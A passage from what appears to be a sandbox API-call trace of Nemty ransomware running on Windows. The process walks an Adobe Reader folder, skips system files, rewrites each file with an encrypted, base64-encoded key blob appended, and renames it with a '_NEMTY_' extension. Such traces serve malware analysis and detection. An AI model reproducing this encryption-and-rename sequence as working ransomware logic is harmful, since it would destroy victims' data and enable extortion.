(lpString1="DisplayLanguageNames.cs_CZ.txt", lpString2="appdata") returned 1 [0215.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs_CZ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs_CZ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.cs_CZ.txt", lpUsedDefaultChar=0x0) returned 30 [0215.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs_CZ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs_CZ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.cs_CZ.txt", lpUsedDefaultChar=0x0) returned 30 [0215.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs_CZ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs_CZ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.cs_CZ.txt", lpUsedDefaultChar=0x0) returned 30 [0215.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs_CZ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs_CZ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.cs_CZ.txt", lpUsedDefaultChar=0x0) returned 30 [0215.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.006] Sleep (dwMilliseconds=0x5) [0215.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33cb8af0, dwHighDateTime=0x1d561e8)) [0215.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33cb8af0, dwHighDateTime=0x1d561e8)) [0215.013] GetLastError () returned 0x0 [0215.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.013] GetLastError () returned 0x0 [0215.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.013] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.013] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.013] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.013] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="KVNEezORHo4g0BWAK6iTiU6K3WTz7lUklOa7ZHgQX9azQcbLijE33frO245TXEw3\r\nmVBhYvaJwAhGVw8kwatNdMWTcBI5sGGJh5NtSBphCP6d6LYpBR7gTvAQnYL5oqcL\r\nSO9E6HaYH91Ao0RD0FEMi15tFLqto/AM0cog+M4nTm9RNowSEZdiJDycbyxvZdHX\r\nj3BJWntMlraN4PQEUENb4axjDzE9FLowoj73FmOzzfEVdoVcnY532MUJDhIlJqQe\r\n9io3HmgCelp48RTi/AhHYK7bBM6LtxlG5nnA+2iudSCKYKEUi6ZRuT9MGLjjxJ2V\r\n4Je5AR33C2/xUlRToIXlpg==\r\n", pcchString=0x653e5dc) returned 1 [0215.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.014] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29888) returned 1 [0215.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x74c0) returned 0x6352c48 [0215.014] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.014] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x74c0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x74c0, lpOverlapped=0x0) returned 1 [0215.018] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.018] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x74c0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x74c0, lpOverlapped=0x0) returned 1 [0215.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.018] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c0 [0215.018] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.018] CloseHandle (hObject=0x2e8) returned 1 [0215.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.018] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt._nemty_kgobjgd_")) returned 1 [0215.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.019] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d72, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.da.txt", cAlternateFileName="DI3825~1.TXT")) returned 1 [0215.019] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2=".") returned 1 [0215.019] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="..") returned 1 [0215.019] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="...") returned 1 [0215.019] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="windows") returned -1 [0215.019] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="rsa") returned -1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="NTDETECT.COM") returned -1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="ntldr") returned -1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="MSDOS.SYS") returned -1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="IO.SYS") returned -1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="boot.ini") returned 1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="boot.ini") returned 1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="ntuser.dat") returned -1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="desktop.ini") returned 1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="CONFIG.SYS") returned 1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="RECYCLER") returned -1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="bootmgr") returned 1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="programdata") returned -1 [0215.020] lstrcmpiW (lpString1="DisplayLanguageNames.da.txt", lpString2="appdata") returned 1 [0215.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.da.txt", lpUsedDefaultChar=0x0) returned 27 [0215.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.da.txt", lpUsedDefaultChar=0x0) returned 27 [0215.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.da.txt", lpUsedDefaultChar=0x0) returned 27 [0215.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.da.txt", lpUsedDefaultChar=0x0) returned 27 [0215.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.021] Sleep (dwMilliseconds=0x5) [0215.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33cdec50, dwHighDateTime=0x1d561e8)) [0215.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33cdec50, dwHighDateTime=0x1d561e8)) [0215.028] GetLastError () returned 0x0 [0215.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.028] GetLastError () returned 0x0 [0215.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.029] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.029] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.029] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.029] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="KERQtkqNm8WY//8S/EOwCJZeIYwH11VLHidDqz/9ry9mON9VRJNsQjz2doML9Mxx\r\n+7eel1jcm/B0xB7vr/yAZLUIq+yJZdyJNyKF0tLkTVnBuGMMbjCSatbeac9069q2\r\nOXgA685iKyvJMgRa2Om1s9kJ9kc+tXd7+YRTH6n84ypVp3/mKbkix2b6WYj3wQGN\r\n0WfafM9OIS+6BciQyUZ7PdyPDjw0ayi9gpWRR/0aUlAGCj3kLQvJUMwFP++A3som\r\n0AT8ZhIeDxX5Q1M7Q1Cq8v38CeHKTfB7xw5mkRypF6lzhbZdDhry+LzvfB8ywBQ8\r\ndNhQIe0Au5Wk3CByFm/saQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.029] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.029] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28018) returned 1 [0215.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6d70) returned 0x6352c48 [0215.029] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.030] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6d70, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6d70, lpOverlapped=0x0) returned 1 [0215.033] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.033] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6d70, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6d70, lpOverlapped=0x0) returned 1 [0215.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.033] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28018, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d72 [0215.033] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.033] CloseHandle (hObject=0x2e8) returned 1 [0215.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.034] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt"), 